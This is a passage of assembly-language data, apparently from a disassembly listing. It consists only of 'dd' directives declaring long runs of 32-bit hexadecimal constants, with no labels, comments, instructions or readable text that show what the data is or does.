		dd 67830C4Bh, 0E0286BAAh, 82B953h, 5740DD91h, 0F27B4932h
		dd 0C7EEBA1Ch, 7714FC01h, 0DAFE4599h, 4C2903F0h, 0E12654CBh
		dd 3FF49E4h, 0F8AFD957h, 0EFC5B9h, 8C6748C4h, 207B1C5Ch
		dd 0C6DEC212h, 0E50BB040h, 92D508h, 9B8B6C31h, 7A7C237h
		dd 366DA1Eh, 7DE884A5h,	0F8C13088h, 41F160DEh, 7BCFFF5h
		dd 0CD315900h, 54119620h, 0B9640149h, 0C1999457h, 0C9A09252h
		dd 0A5CBDC80h, 0D3A20079h, 0A63D2E03h, 4A03647h, 0BAA3ED66h
		dd 398CC6E0h, 0D2FA3E00h, 0FD231328h, 74BD74C2h, 0A0260056h
		dd 3F8FA3AEh, 0BC712040h, 0B6DB12DDh, 19A2C048h, 68FD3AADh
		dd 0AB4BBB8Ch, 2B18B428h, 4740C56Ah, 0C7B97139h, 4384C681h
		dd 22F033A8h, 1A00A025h, 9C68790Fh, 3D3729h, 7D7E2A2Dh
		dd 0FA878057h, 43843C00h, 0D0AF75BFh, 0CDE4B4h,	33763B50h
		dd 77399B6Ch, 19B37F00h, 0A0A425AFh, 89496853h,	3B1E0728h
		dd 306D16C6h, 33827506h, 1A0C196h, 0B93CB3A2h, 0F086204Fh
		dd 18C1C472h, 0B40CA39Ch, 0E6239700h, 88B03B60h, 2FC968Eh
		dd 13A82B6Dh, 9490DB16h, 30DFADF2h, 0EA2740Fh, 82107830h
		dd 0E5B01B23h, 40E1705Dh, 0A49C0099h, 50FF2802h, 0A00F76CCh
		dd 30E53698h, 5DE8EB7Fh, 0B32CF505h, 721B6469h,	0E59DA0C0h
		dd 32297391h, 929D123h,	886EBA10h, 1988E441h, 10FD8987h
		dd 13A813F9h, 0AE66114Ah, 1583FC00h, 0C69D40h, 7AB2494Ch
		dd 3660F67Fh, 8FB2EE60h, 30CB301Bh, 7184DC9h, 38006A42h
		dd 85761FA0h, 7D0CD864h, 0EEA40312h, 0D5C5AB66h, 35A0E0F0h
		dd 7A9283Dh, 29A5C891h,	68838E80h, 161E0053h, 23145BBEh
		dd 1F0CD358h, 30970CABh, 4C681D54h, 62C840A5h, 46C37EDAh
		dd 0B7023C0Fh, 0D35960BEh, 1405F9Fh, 3B54AE03h,	0D062B60Bh
		dd 43003730h, 0F49A91D2h, 1C86D0Dh, 4EA54821h, 0CCD70125h
		dd 84007755h, 366EF394h, 750795Eh, 2CB848A5h, 0E8C85056h
		dd 0FC38FB32h, 0C63C9DB0h, 77A3C0C0h, 0E5324h, 5536F3CDh
		dd 1C0C693Ah, 0E0A76E2Ah, 8D39FFF4h, 33CA0072h,	7611BAA1h
		dd 0C469001Fh, 0CE9C191Ah, 0DD0F55E7h, 0C0D0387Ah, 9F0F742Bh
		dd 54813ED7h, 0F93C8500h, 0D56D8E0Bh, 0CCC8F200h, 86CE37BEh
		dd 0E6F70506h, 0C41EA6h, 1DEEEAB0h, 0E903F5FFh,	5A9F3FC1h
		dd 0BD9DE0F7h, 0E4E30797h, 3A4F3835h, 0AF6C06F7h, 4D0F3862h
		dd 6CDFF366h, 0C5109Ch,	729F2E2Fh, 0D601BC75h, 0DA08A00h
		dd 0AB420635h, 0E8C4798Eh, 7E5800E6h, 0E901E160h, 52000D4Dh
		dd 3F74A0C7h, 0EC973A8h, 0DD3A2C16h, 0FB9E4120h, 0B1037C39h
		dd 0E17D175Ah, 5094A84Dh, 87D00002h, 0E72B4790h, 0F8035311h
		dd 29A4CA3Fh, 4B5F81Bh,	12AF0424h, 0C0386005h, 0C6A79120h
		dd 0B31C2000h, 0CC31F164h, 80400FDh, 0E7244650h, 9D1E7F45h
		dd 4400A4F2h, 962B7E59h, 4BA84CDEh, 9A0D6B02h, 3040B0A2h
		dd 6704A546h, 4386873Bh, 0D6F44C80h, 58C1008Dh,	4EE79B05h
		dd 8C00DCBCh, 0FDEF54A4h, 0CCC8F43h, 3362DF7Ch,	283B0670h
		dd 6CF301E3h, 0CEDD57DAh, 0C069C1C8h, 0BAA86121h, 1B035C09h
		dd 54B60D90h, 7236A095h, 7402184Bh, 8AF444ACh, 3BD3DB18h
		dd 48D96FE8h, 9A00DCE6h, 0C8C43715h, 0B30026B2h, 6178ED7Ah
		dd 0BB299Eh, 4A140BE9h,	96B0B5CFh, 0FA977B0Fh, 283C80BFh
		dd 0F874925Fh, 1E4B0034h, 0B7ED1558h, 0D4B0D9C2h, 0D0FA38h
		dd 0F38F2813h, 760CA92Bh, 1F84014Eh, 89228570h,	1E94404Ah
		dd 7A00DF48h, 0B409A1E1h, 30EE72Ah, 5BC153FDh, 0EDB8173Ah
		dd 0E5013082h, 0C9986375h, 0EBFC36E6h, 7B2016BBh, 29D8018Dh
		dd 4744A39Eh, 0FBE9B08Ch, 0E24DB84h, 0C00040EBh, 96F99405h
		dd 70290C7Fh, 0A5AE1993h, 120DD407h, 8890F423h,	865447h
		dd 18E8913Ch, 0CA8CFC0Ah, 1100BC90h, 4AFED63Bh,	726D6EE0h
		dd 0AA923E90h, 0E67700F0h, 112C459h, 84001699h,	906732DCh
		dd 621164DAh, 1BC1186Ah, 0A9C893E0h, 8E3E8009h,	0ABC00CEh
		dd 1FF732A2h, 0B87B714Ah, 72E13Bh, 216B241Eh, 72C55982h
		dd 0FB2CDA00h, 95EC7FD7h, 22D80073h, 6CF62016h,	0B1077628h
		dd 4E724D40h, 9CBF5C90h, 8840F3B7h, 3A5F74B2h, 0AA00AF0Eh
		dd 5632CA51h, 0EDFC12C6h, 3479F616h, 0AEC1E000h, 16452EF7h
		dd 16E8DD19h, 4E9909F5h, 1CEF3E8Eh, 80C3B6C4h, 0ECF57BF3h
		dd 1AEB5600h, 0D003696Dh, 0AE310089h, 0F346D386h, 0B7000E59h
		dd 0E93E2B54h, 0F657E725h, 0C6B767Fh, 0DC30F94Ch, 0B9135A60h
		dd 0D00169F0h, 58DE5D14h, 5BD5F080h, 0FB109606h, 32AC8003h
		dd 6802E3h, 917F4628h, 0F3014C2Ah, 4734E100h, 1D60E85Eh
		dd 7FA6EA2Eh, 6C950029h, 0E71BDB86h, 0DF2CC230h, 1514F5F1h
		dd 500A7FE8h
		dd 0F0A4C551h, 0DA001B24h, 90BAD522h, 0D10C0167h, 0C7E23DB1h
		dd 5808203Ah, 84BC4A08h, 230900A7h, 0A802C6AEh,	0E8758700h
		dd 2E92AA55h, 0CDCF0048h, 98B0C71h, 0DC003E91h,	0A86F2AA4h
		dd 0E6195CC2h, 70F8F908h, 0B0C400ADh, 84B68801h, 3703BF5Bh
		dd 0EF3ABDF2h, 0C8FE929Eh, 0CCA74h, 0E0D78491h,	0CC77693Fh
		dd 9F6E150Eh, 7F49A094h, 3A63CAh, 22C97695h, 0AD54F242h
		dd 0E99A7B00h, 46571235h, 37ED004Ah, 4D5E3E23h,	170054EAh
		dd 2E4E8180h, 71DE2C5Dh, 0FDA071Fh, 0C55B0E67h,	87DC0082h
		dd 60CDA4A3h, 0EE0022EAh, 986B59C5h, 1AC7F1Ah, 9754762Ch
		dd 0C4EDBCA3h, 8F25F60Dh, 406E8D1Fh, 0A5EB3F8h,	22F1C64Bh
		dd 481700E0h, 0E877AE13h, 921D9D00h, 4B97350Eh,	0D883D2Dh
		dd 0B500E6BBh, 0F7F223CBh, 340408C4h, 0BA79C5D7h, 0EB29AEC0h
		dd 30531333h, 4F2400A1h, 0F98731F7h, 587D8200h,	46ABCF61h
		dd 0E47F0023h, 0B42D2BBDh, 4F0030ADh, 0AE51DBB2h, 864CD1h
		dd 0C9687423h, 0F1C55644h, 9F6D2700h, 3F640B59h, 462F048Fh
		dd 0C0491C1Fh, 4498C4D8h, 0D9CA8100h, 0A09B4B3Bh, 8EA50028h
		dd 0D133FE02h, 9603FB97h, 0E0F4E4D8h, 7655889Ch, 63B901D3h
		dd 77490ADAh, 0EDB82037h, 81D972Ch, 6048CA0Eh, 197807BEh
		dd 0D0AA0061h, 731E46BFh, 1B0E5529h, 0E08CF652h, 0AD2FCA8Eh
		dd 287CD6h, 8FDD77E4h, 9A74124h, 9484202Eh, 4C0B583Eh
		dd 0ECFC0068h, 0B72B8BBCh, 0EFA40058h, 3F54A519h, 7700CDE1h
		dd 0DBF02A90h, 0B26DC043h, 4F2F3A74h, 0AC3328h,	6FA3E33Bh
		dd 102B916Ah, 0CC9A7700h, 0EA987A52h, 0B8F8909Dh, 67C812C0h
		dd 0ED5840A4h, 6173F15Bh, 0E487AE03h, 0A3510C9Dh, 8D600045h
		dd 872B2B9h, 0A6003EFFh, 0B4882347h, 0C062749h,	3156D4D1h
		dd 8600C281h, 0FA6ABF70h, 14B155Eh, 0B8E4B0CEh,	2C2DA1C4h
		dd 0CC69003Ch, 8462581Bh, 0E90800BAh, 39A7634Eh, 87385256h
		dd 0B1F500A6h, 0B41D8D04h, 0BD580ECEh, 0C360AE96h, 67B7036Dh
		dd 0FA002E7Eh, 0CF561B84h, 311F9EFh, 8E9C70B6h,	0E80F9E60h
		dd 6D3A886h, 4011A7D0h,	0BE553EC8h, 14F6EC10h, 6883EA00h
		dd 253E9FEh, 0AFDE00F8h, 0C2333C7Ah, 2CE960BFh,	0AD83009Ch
		dd 62BA8273h, 0D0DF39h,	0C2DB2504h, 0F700C013h,	2EE1B9D1h
		dd 0BE16B7h, 0AF41807Eh, 0F55AEAA0h, 0A817A53Dh, 0BA282867h
		dd 0D0032477h, 0A98AD3B8h, 0B5BDA190h, 610F7885h, 0BAF480ABh
		dd 0BB4CE4FDh, 0F7B8009Ch, 6338A05Dh, 27715BCh,	9601D087h
		dd 0C2D2D0BDh, 0ADEAD035h, 4F82331Dh, 0FD276102h, 80C4A05Eh
		dd 738FEBDh, 0B87FC039h, 0B3B7C15Fh, 1D218030h,	0B92CBA33h
		dd 0B4A1C620h, 0F5004842h, 4AECA0B8h, 0CDFA9Bh,	0C22B3FB6h
		dd 2EFCC552h, 0FD233D00h, 0C6B9C7CEh, 69A80679h, 8660F9Ch
		dd 0AEF32900h, 5B3D2F9Eh, 0A3489CE7h, 7E0F7004h, 6610A262h
		dd 14687013h, 90E22DDEh, 73FB020Ch, 0B7008E78h,	662043E0h
		dd 1E2BD1E5h, 0B1E4DCA8h, 11721F29h, 9911E1C7h,	1D9500DEh
		dd 5DEE9Ah, 4ED4C93Eh, 0F704060Dh, 3DA11100h, 0EF1DD2A0h
		dd 0C80C072Dh, 0F008F30Fh, 0AEBBBD34h, 0D100E87Ch, 0ABD7E31Ch
		dd 2E8F727Bh, 0C4073Ah,	542096EBh, 0A0389EBCh, 16F91F97h
		dd 0CC6DA101h, 33DC1ADCh, 40B05C04h, 58437000h,	7DEB88FBh
		dd 90DE40C0h, 7590194h,	2520CB5h, 4189D08Eh, 220082BEh
		dd 99059126h, 75AD61E4h, 3C845C12h, 0A9A57D00h,	3002BE45h
		dd 0E438B400h, 2AE7266Dh, 413C0055h, 0B0BA47B1h, 0D30027ABh
		dd 57B7A99Fh, 2253C8h, 0EE933A2Dh, 46CCEF45h, 526F1D1Dh
		dd 26CCA9D5h, 7F653051h, 7EA1680h, 1E194B1Ch, 0A7468BFCh
		dd 87613C00h, 9205D108h, 0DE4EDBD4h, 5766EC44h,	79C2CCCh
		dd 39BB607Bh, 91AC3023h, 8507E913h, 185B4BD5h, 130B287Ch
		dd 654257h, 84AF635Ch, 830010B9h, 9370D55Ah, 735CD0CCh
		dd 8E49035Bh, 77B8DD54h, 0F6F2E1F0h, 0C394EE07h, 0B4F016AAh
		dd 0C0755F0Eh, 0ABD82980h, 0BF00E154h, 26F46813h, 0F5B5AE6h
		dd 0F62E95A4h, 4E377620h, 9F2ED5C4h, 6600B07Ah,	19F38B73h
		dd 0A31E26BAh, 233040E8h, 58C02584h, 6C11031Ah,	0B8FCB3h
		dd 8CF249E3h, 0C17FBDBh, 3D81CA00h, 0DE820E6h, 94A613B6h
		dd 8FBC4FB0h, 0EED42F60h, 0F106F0A4h, 0D5A6920Dh, 653B3D18h
		dd 7F93B581h, 0C9059F79h, 0A6E03038h, 11411A01h, 9B3F031Bh
		dd 9D44C0h, 96E2E7CFh, 552CD737h, 0EBD8AC00h, 1BFE57FDh
		dd 0A97F02A7h, 2DCB7A0Fh, 0F72A3600h, 0EA200BCh, 0A94E9BEFh
		dd 7E033387h, 0A059022Bh, 0C80CDACAh, 161A520h,	0F25E791Eh
		dd 40710E36h, 0E01B8CC4h, 9F02EAE0h, 78DF5C5Dh,	0F065E128h
		dd 484AAEC4h, 97ABDA9h,	0B4AD41BDh, 0B0D7FC60h,	9F5C4E0Fh
		dd 6388AE72h, 0E8B83A21h, 177652h, 0AC9129E4h, 83BCC051h
		dd 384D3900h, 62EEE168h, 15F8B6h, 4C18F090h, 6B3362Fh
		dd 7A47148h, 89704A8Fh,	2CB040E9h, 0F752010Fh, 3A5FA0C6h
		dd 200C238Ah, 0C9A91270h, 6168466Bh, 8E27F157h,	38C80152h
		dd 289E3443h, 0A5CB43EAh, 7C001869h, 0C590865Bh, 0F3E7A3h
		dd 760E9945h, 655C3870h, 6AF89100h, 0D50B972Bh,	0FE36006Bh
		dd 23FD875h, 180AE5D2h,	883D3E40h, 0D6495F03h, 50A98D5h
		dd 9CD98E7h, 0EAA356A2h, 0E124880h, 0D7002B19h,	0BF3A04DBh
		dd 0F2C6A0A5h, 2FEA3E87h, 4F18AC03h, 0A4E06482h, 88A86E3Dh
		dd 0C80232A7h, 0AE305744h, 0C515C1A5h, 4C3111F0h, 0F16065DCh
		dd 3FFC0A5Dh, 54B4690Fh, 0F0092Bh, 0BE2806E8h, 5A6D00EBh
		dd 0F98ACBF4h, 0C000E45Ch, 502BBCBBh, 8581B1h, 0F76FB03Dh
		dd 9925934Bh, 0ED188001h, 21775522h, 0E30FDF8h,	0EB56D35Ah
		dd 0DB791A40h, 121DBC8Ah, 2CC76445h, 0F8AEA4BDh, 0FA03D14Eh
		dd 138400CBh, 4CEE992Fh, 66F0511Ah, 0D7FF820Fh,	701CC037h
		dd 340E647h, 8C6C537Ch,	2ED8E116h, 5C04C3E9h, 0B227DBABh
		dd 0EBEDC80h, 24870075h, 0A645ED70h, 231F3F76h,	4080310Bh
		dd 7E24946h, 0CBA4075Dh, 1666A7h, 0AF33A8CFh, 0E771F924h
		dd 8A759F00h, 53F741h, 0B1CB4A3Ch, 1373437Ch, 5A2FF600h
		dd 74E9A4BEh, 80A71C67h, 0E66C00CEh, 0E8C83B72h, 0E7C70C00h
		dd 2562C189h, 12FE330Fh, 1CD8EC11h, 0D104BE47h,	3EF5027Dh
		dd 21BFD0E1h, 6A015600h, 7AA417C9h, 28008E7Dh, 0DA91F8CDh
		dd 6529C7h, 0B33A6348h,	0DDBC471Eh, 0F004A70Fh,	0E2AB8075h
		dd 1F7EC5h, 6915C31Ah, 3AA2AAC7h, 2C49AE01h, 0E0144CF4h
		dd 7CC076D8h, 5D240009h, 0B86470CAh, 6A00E9E2h,	8B085C87h
		dd 2DF9D1h, 1D9328ADh, 9DBBC37h, 0D7015902h, 0C04D9F84h
		dd 9C2B9Fh, 81E70D77h, 3AC9466Ah, 750EF4B2h, 0C268E8DDh
		dd 0F442329h, 3156A581h, 5FB4202Dh, 0C00524Eh, 10E24DACh
		dd 75CB0014h, 1B36080Eh, 0AA598182h, 0EA2507BCh, 0DF30CD68h
		dd 485C1h, 81E49D23h, 0D3D692EEh, 832D1539h, 9395EFC5h
		dd 0A725D0A4h, 7DC71334h, 0E36D0040h, 0A67861Ch, 9E63300h
		dd 3063BBDAh, 1C2DFF47h, 0F9E34900h, 3B36E19Ah,	53BA2103h
		dd 90ED96E4h, 9602591Ch, 26B10028h, 9FE9923Eh, 9B46EA03h
		dd 0E0061D99h, 48F953D7h, 840E408Bh, 0CC09555h,	7EF43012h
		dd 76D7A30Ch, 1EB8DBh, 3CD8A16Ch, 0B395C953h, 50268926h
		dd 81D40D00h, 0EEC860C5h, 0BA380066h, 27582B88h, 9900CA45h
		dd 0DEA18C25h, 30A3Ch
		dd 4BDD11FEh, 1A922F56h, 46B0681Ch, 6305D300h, 94BD7Eh
		dd 975F7C14h, 0D9626B12h, 23CE13Bh, 0AE496E59h,	0F94F0247h
		dd 0B5BD94E8h, 725148h,	9A15C1D2h, 0DC1F0Dh, 0C75B49B1h
		dd 11C0B428h, 31D0D501h, 5E1AB6D9h, 495DF0h, 0E7948F7Fh
		dd 72BEADDFh, 62D7E0A0h, 0C8BF82Ch, 8093A68Bh, 0FF2C4699h
		dd 17E47BAAh, 490F90h, 4F51DCD4h, 0F10307D8h, 1530ACAEh
		dd 0BA7E8093h, 5EE300D0h, 364966DAh, 5F02B461h,	0AF966989h
		dd 22B6C1B0h, 0B54024h,	0DAC4A098h, 0C2A20A5Ah,	337423E8h
		dd 8CDE3A0Dh, 22F0281Dh, 0A5F40459h, 0A28ABE14h, 900C21F4h
		dd 98871DB0h, 1E8F009h,	2E69CC38h, 73FDFDCh, 0BC26EAADh
		dd 7BB5C090h, 1A1EB8BFh, 0C21D3D39h, 4C28A0DFh,	0B7E68B3Eh
		dd 909C68F6h, 2EE301B9h, 7E826929h, 0C840A2B7h,	0E0203B61h
		dd 91F0993Eh, 2519C5A0h, 0A12800F9h, 0F8B826Bh,	9E91ED00h
		dd 63557029h, 18C70037h, 9CA9FF5Dh, 81E4833Fh, 10415F00h
		dd 7A35399Bh, 0EEF183Ch, 0FD43E950h, 0BF84F000h, 1F96C086h
		dd 536A280Ch, 0E9AEA8Ch, 0C602A63Eh, 1A0F0090h,	7FC3480Eh
		dd 56321208h, 99C0014h,	8E795593h, 58B2AD30h, 1EFC250Ch
		dd 3D011FC4h, 575E358Ah, 516D80B4h, 0E463B89Fh,	4CA1FB00h
		dd 77817887h, 82EC13F7h, 0E244930Fh, 0F01B42F1h, 5F01D5A1h
		dd 2C76B07Ch, 0C1873FB6h, 0A0BA070Fh, 93CDE8ADh, 0F1283000h
		dd 0CF54BFC7h, 8A90857h, 0DE80C40Fh, 7128E431h,	845A0080h
		dd 68F0702Dh, 273C904Dh, 0B70C827Ah, 6008295Ch,	989973E2h
		dd 0BD803A25h, 3834A200h, 9DB5E02Fh, 0F097A005h, 0D040A366h
		dd 3051FA79h, 887C075Bh, 0E62FFB09h, 1D05A94Ah,	0FC0F1A6Dh
		dd 7E3B90A0h, 0B00100DEh, 9186D3BCh, 9618FAA1h,	0FD51B466h
		dd 25EC00A7h, 0FF6CCCC6h, 0B7128D8Eh, 990E1B71h, 68B8C938h
		dd 0A067BFB0h, 11CE1Ch,	0B8744544h, 0CB6B15ABh,	0D8A61D00h
		dd 0C67D7602h, 0A9D20005h, 43D9C69h, 46000DEFh,	0C08DE02Bh
		dd 4C3A1E57h, 680016BBh, 0C46B1BBFh, 692CB4A1h,	460034E0h
		dd 0EAD76D57h, 229D07B6h, 0B18F09D3h, 0F8F4C089h, 957CEC4Ch
		dd 561E40B5h, 0F9770073h, 890A7021h, 2C60A794h,	48643730h
		dd 7CED71A4h, 66E8A6h, 937C81BEh, 900F70FFh, 116AC800h
		dd 8D26FEA1h, 0B5674CD4h, 0D389DA00h, 0A45974EBh, 0D96EE22Eh
		dd 0C6D41300h, 0FA436Ch, 0FF0D6BFEh, 0BC458C15h, 1040FD01h
		dd 76C45666h, 3CC98FCCh, 0B3007F3Bh, 57803AE2h,	0DD036603h
		dd 0DB534291h, 0F786005Bh, 0B2955868h, 7300EA02h, 2FD9C1A6h
		dd 571A47BBh, 0B78A043Ah, 0DD042114h, 0FFC30D44h, 0D243E01Fh
		dd 0B5C800F2h, 0ACF8D39Eh, 98019D47h, 0D31697Ch, 38836D8Ch
		dd 0C908EF43h, 627C284Ch, 224AA529h, 5C2272A0h,	211B240Fh
		dd 0A4124BF0h, 0F1BA2883h, 14177928h, 42491222h, 0E16811D8h
		dd 65086321h, 84FC9045h, 5F48E38Dh, 244EB142h, 0FBBE21D0h
		dd 0B106B12h, 6C148858h, 88FC3988h, 0DD8804A7h,	8088956h
		dd 0D6FF45B3h, 88405110h, 0F688712Ch, 0AF8CA995h, 55791441h
		dd 28834012h, 29109EEDh, 0FE0007FBh, 24250F81h,	0D6004AC1h
		dd 0FCBBAB88h, 0D2579Eh, 5E82C3FFh, 7D7A17AAh, 0B9920EC0h
		dd 3EDFC66Ch, 970080D3h, 0B1BF1E41h, 300001ACh,	86483345h
		dd 2590B71h, 8185057Fh,	176096DDh, 0D73E1B7Ch, 0D0D80387h
		dd 0C8F43358h, 558AD6h,	73DAEA2Eh, 4E895E7Bh, 0FBD35700h
		dd 98323572h, 12900079h, 0EC5D4D0h, 974CAEE4h, 0CA1B007Bh
		dd 2B91FAA7h, 0F5F10E8Ch, 0DF0081FBh, 1122A8DDh, 0DBD78E00h
		dd 4D3739A5h, 6B100013h, 0C41CC37Ch, 0F81C1852h, 33409083h
		dd 0D7B2E49Eh, 15EFC97h, 668F9CADh, 0EE29B9B1h,	0A7B47048h
		dd 42335C00h, 2658E969h, 737F224h, 1FD79314h, 5BE583ADh
		dd 33BB4EA8h, 5A27A00h,	0BDB15E28h, 7E77E4BFh, 0A43F00B3h
		dd 0FFB048A7h, 3A3B1B91h, 6436004Ah, 7BB42A9h, 0AC11001Ah
		dd 0DFDD70BDh, 0D20E1B96h, 0C0CF0C5Ah, 0F1B71636h, 0A4FAC9h
		dd 49CB7F7Ah, 35426448h, 513880FDh, 0AAE1AF2Eh,	0D25B26h
		dd 0F9C981Ah, 57005332h, 0E4A542F1h, 7D382F4Eh,	669003Dh
		dd 3C896BC3h, 33006637h, 6186A732h, 1873A917h, 0D8D91576h
		dd 53004CCBh, 6AC1D09Dh, 40BD81h, 0ABB9A7C9h, 0EFE00A50h
		dd 7D3EB300h, 0AC2F6415h, 0E8990014h, 0F2AED1B6h, 7100D504h
		dd 8CB9C5FFh, 716070A8h, 2A4A0031h, 0CE41853Fh,	4B022CFAh
		dd 0A4569C2Eh, 1A50C02Bh, 15000A8h, 0B3A7EB71h,	0EDE0AFC9h
		dd 0CFD7D428h, 8BFC7E00h, 0F78ECA8Ch, 0CBDE00A8h, 0F564EB1Ch
		dd 0A47CE556h, 0C6618400h, 4ADDE254h, 655D032Ch, 68A1B3AEh
		dd 8D86F5B0h, 0F7E4A309h, 0F8DB08CFh, 8B80C51Fh, 3748502Dh
		dd 189200D9h, 0FDDB849Fh, 311F3633h, 3BC03954h,	563E4619h
		dd 0A905005Eh, 0B71ABDAFh, 0FC12F183h, 1800714Bh, 88B66518h
		dd 3C5A00AAh, 5CF2FF10h, 0BA0EBB4Fh, 0C078C930h, 1DCD2F35h
		dd 8FC50046h, 0DB68785h, 0E7EC810Bh, 95C4548h, 956F52h
		dd 8BF09A4Ch, 5C160088h, 1D0A3624h, 51002E50h, 5A636748h
		dd 0A7B5EDh, 81823787h,	0C23A7B3Eh, 0E2265C00h,	275952ECh
		dd 5EEE4C5h, 0D0A16497h, 14B040ABh, 86F2B0E9h, 26A7581Fh
		dd 0C61027C0h, 4BEC84h,	35402413h, 0D19E7B51h, 81793F3Fh
		dd 0D61AE91Ch, 0CCF4063Eh, 1EBD07C6h, 62390Eh, 0FE618211h
		dd 7A28400h, 0D7F64FF2h, 8CD8126Fh, 0B19800B4h,	0CC20EE73h
		dd 0F2BCE700h, 0C53F503Dh, 34B04Ah, 0E06AC08Fh,	12392CD1h
		dd 5400317Fh, 7C0D2283h, 1489ADAh, 5EE006AAh, 0FC6E95EEh
		dd 0E1F83332h, 9263Eh, 3F7AB74Dh, 3F894B77h, 0B30092EAh
		dd 0FBF939B5h, 59004FB1h, 0E3730C6Ch, 99669C7Ch, 8D5C8064h
		dd 0C5268E76h, 0A20EE209h, 0FBD8007Eh, 0FA1750BCh, 0CAC90734h
		dd 20CC61E3h, 0F178EB3Ah, 23D6D203h, 0BFECF819h, 0EE101260h
		dd 2948003Ch, 31010F32h, 1A058B98h, 32A50FBh, 0E1AEF500h
		dd 828679h, 0D416260Dh,	0F9FBC347h, 0C7576100h,	3AE01078h
		dd 0B8E9079Ch, 0C0D3B35Dh, 0FC401511h, 0BE622807h, 0F74A7A39h
		dd 6885E300h, 6A7C4Bh, 4E071D36h, 626D9BA1h, 0DB249D02h
		dd 60777602h, 7B53726h,	0CA5112E8h, 7388B1A8h, 0B9213071h
		dd 704D31Dh, 0E587B2C0h, 7EBEADh, 0CF240809h, 5A782762h
		dd 80481101h, 0A192E13Fh, 0D300A228h, 7FAD571Bh, 147CF364h
		dd 4AE3F605h, 5180AEF0h, 3966A01Ch, 85016FF2h, 0E1EDF439h
		dd 3B1EC07Ah, 0EF07E87Ch, 998E669h, 0A88868E0h,	864905CCh
		dd 363B3C9h, 73D77FD4h,	855330EFh, 0D031F4Ah, 0EBC6F3B8h
		dd 0C0F1A048h, 41ECB4h,	0D27BEFD3h, 49214C22h, 2C8E58h
		dd 2F023667h, 0B2524h, 0C21AEEB5h, 0F84D5F75h, 553CE000h
		dd 0AB1018E5h, 72CFCD3h, 26610BD7h, 778300E8h, 4414BC9Dh
		dd 0BD7D53h, 2A388746h,	12CEDDB0h, 0F5C6162h, 30A0E354h
		dd 0C827F003h, 0D491F700h, 6F3D95ADh, 1F4D39AEh, 8C5A9880h
		dd 0F7DBE959h, 370704FEh, 136B89Dh, 625240EFh, 3876B6EDh
		dd 6B00953Bh, 3FB2935Dh, 283FEECDh, 3BB32C36h, 94DBFF05h
		dd 8403481h, 5798D0E3h,	0C79B07E2h, 202D3479h, 78555DF2h
		dd 44AE3500h, 150AD8A8h, 33890920h, 1877AFDh, 0AF2DC1EEh
		dd 1C6BF430h, 0CBBC7B00h, 2B101D62h, 3DBECA1h, 1B45F761h
		dd 4ED89D4Ah, 5700DC31h
		dd 8DA33E1Fh, 0CA1A38h,	93F5AE2Dh, 0D72AC807h, 79448458h
		dd 8ABE2B00h, 7646B2ADh, 0B0750071h, 0E61AFF9h,	0FC00C667h
		dd 558B6CF1h, 0A48694h,	9D5FFFEAh, 41379911h, 0B314E190h
		dd 0B4752Ah, 0AC8A8C74h, 0E221443Bh, 19F672h, 0E3EC6BB7h
		dd 0F7A3E259h, 357E1B00h, 551FDE11h, 94FCC5h, 0B98E2599h
		dd 3F024516h, 0DB466A00h, 0D5BEB465h, 87AE006Dh, 0ECC40885h
		dd 4C982672h, 440017E2h, 4D512C13h, 9E46D9Eh, 30C9CF12h
		dd 5D154880h, 3C0162E9h, 94313F21h, 16D418FBh, 75053E22h
		dd 0A6DE7000h, 0F5829B34h, 4C87313Ch, 85D0B4Ch,	4C109027h
		dd 14829899h, 9C2AEDC2h, 0F6CCD00h, 0B84F9DA6h,	7DA239h
		dd 0B30AC118h, 307A8CC6h, 0E1170FAh, 223EAFDBh,	50208092h
		dd 0CCE5ED99h, 89E10058h, 0AC0F3978h, 7700A761h, 81251551h
		dd 0E0B8A90h, 0B5A16ED7h, 9DC5C461h, 0F4D4D81Eh, 1174BE00h
		dd 13085CEAh, 0A1463980h, 0A8159080h, 0AE3DD7A3h, 0C7C32400h
		dd 0BFDBCF30h, 3A770292h, 0DA610AC5h, 6A244D60h, 893E500h
		dd 1C0D8DD7h, 1AC301EFh, 5F8EE050h, 510FF827h, 0C0EC2C1Ch
		dd 0BD1B05BDh, 80803DE9h, 0EEEFFCE7h, 2AE10F14h, 9B20B829h
		dd 3227F55Ah, 9230D100h, 1667F83Eh, 0BC26008Dh,	0A9D3CBDDh
		dd 0D03218Fh, 57529F34h, 0A3A1D05Fh, 0BCD150AAh, 0C0E7EF01h
		dd 0BA53F3F0h, 0BE6F00C8h, 27B0513h, 1D02153Eh,	933B24FFh
		dd 71D860B5h, 17FE8C8h,	806FFD8Ah, 0D04EBB94h, 57A3126h
		dd 32C21F00h, 577DDF87h, 41AE02E1h, 0BA99ABE8h,	53218760h
		dd 0DA96C800h, 3B2DFA63h, 0D7050025h, 899D089Fh, 620E07D0h
		dd 0A6227E0Ch, 88770Eh,	366114FDh, 0C01AB1BFh, 0DC16C2Ch
		dd 0E0F61E0Fh, 0ABAE2A02h, 727F00B7h, 0CF901BA7h, 8301C8ADh
		dd 27638038h, 11C8948Ch, 0D74B00D1h, 0F069B119h, 92006E0Ah
		dd 0F96CDAE9h, 7840B20h, 7C619C93h, 0A6C54017h,	9D01D54Dh
		dd 0EAA9731h, 0F9305C70h, 0C1CF056Eh, 0C04A8FB3h, 0C3BBE1A4h
		dd 0EE3A6702h, 0E0F2D816h, 48B0E8h, 0BF937919h,	0F837B660h
		dd 0FDDC8600h, 4406325Fh, 6A641F83h, 816E0043h,	0D64BB2F0h
		dd 799D3Fh, 932B8717h, 396BDADh, 0C26A9842h, 0D6E8544Bh
		dd 55002CB0h, 30DC77C4h, 0F66F9Bh, 1ADAF262h, 0D8B29C52h
		dd 0E02F0E00h, 9E6EE949h, 0D20700CBh, 0FC3D944Dh, 0BE7FE742h
		dd 0E400D9ECh, 1E3C46D8h, 2FDD0Ah, 57C76968h, 4167919Fh
		dd 0CAC34900h, 0AB6E6CBFh, 5FBD070Eh, 809AED4Eh, 0F18674E9h
		dd 18628900h, 3E278046h, 7B6F01EFh, 8E288590h, 0F5DB2038h
		dd 0D3687700h, 8D1BEB24h, 61230086h, 0DCA30553h, 0C43ADD39h
		dd 67AB80F9h, 86A1BAF3h, 0C940054h, 0D9E6E9C9h,	5200C11Ch
		dd 1E5015E1h, 0A53936h,	86826D4Bh, 19263F0Fh, 1175F100h
		dd 0A0E2AC23h, 9F62009Dh, 0C18DC285h, 0F82C6FBEh, 0C8004EE8h
		dd 0C5DF6A3Dh, 5024004Ch, 14219B10h, 4F00D9ECh,	1872C7A0h
		dd 0F9CC2FBh, 0E01DA10Ch, 75EB1380h, 593EBE85h,	0C89AAA60h
